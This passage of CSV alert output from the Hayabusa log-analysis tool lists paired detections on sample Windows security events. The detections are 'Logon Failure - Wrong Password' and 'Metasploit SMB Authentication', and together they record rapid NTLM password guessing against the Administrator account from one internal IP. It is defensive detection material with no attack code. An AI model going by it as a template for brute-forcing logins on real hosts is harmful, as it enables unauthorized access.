Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dGSTrm4AOojs7So0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.110 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wVTBSk0Q65LkaTqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NjFN51w3T4VwuWa5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KG7a88h48ZEyOuYw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ksKuTSGukc5em3B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tPEMcGV6ZR92sWNY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iBQ6sKrRjb7BsySN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gDFnG1gv7jOeIQ0t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.454 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdFKkcNpkfAScnkp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.454 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.511 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IAYbV4ioewwkZSmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.511 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1bQ2Dxd6nlgSXJpo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.557 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: havLyoVCfdCqzrqO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b2vZLhz19pXrq9iE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A4TSN93DrSWb1ah4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QwFyrxiceLRTD9rI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.718 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.762 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ARbqo84Mr5T3ltRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.762 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 34HpQJO17IDWber9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bSSbqOtdSeH58oIp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.978 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EMvTo7fU6J468WE9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.009 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8gzx6Vr9LoInM1df : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kwXC2S4HwdwNE6SX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1pQa1WxSt3bj9LEv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fm65jq9tRQznmWPh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.185 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zd8BJbXvEoaDADLc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.237 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P0JlFw7S6jFUt4Iy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rfMbFXQcP5sA2wmf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.313 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xu4pgyCcDjl9h0Et : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.349 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B00w8dZG3sT2Lsqo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.450 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8aKGq6qrchp4SLvT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.450 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnScYHBCKOSHItsi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.568 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r8UMBM326M7a4njd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.610 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kTdYWOi6p7etRfya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.691 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JWSlcEVzj5lGtVg0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.691 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xc77wukLTPOYAzj2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w4WmTwTGuwDN6YXn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.769 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aeN4cSffFA04oOje : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eYFPV1kGALqX8jyO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.849 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIlhxT4qqo5bCsU3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: btoOskH0112h7MTO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nWUhQJBcS7XbMJUq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.972 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E70qmXDDWqmWJjyU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oX0L8wf6nt2grLvn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.047 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0D8BwniiXsjfkYqE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sSWYo4mphuvKHQHl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: im8an1mDle9f8skd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.164 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aOyLWd5CAAjnJt3C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.240 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s7gI55uWlshCLw3y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.240 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 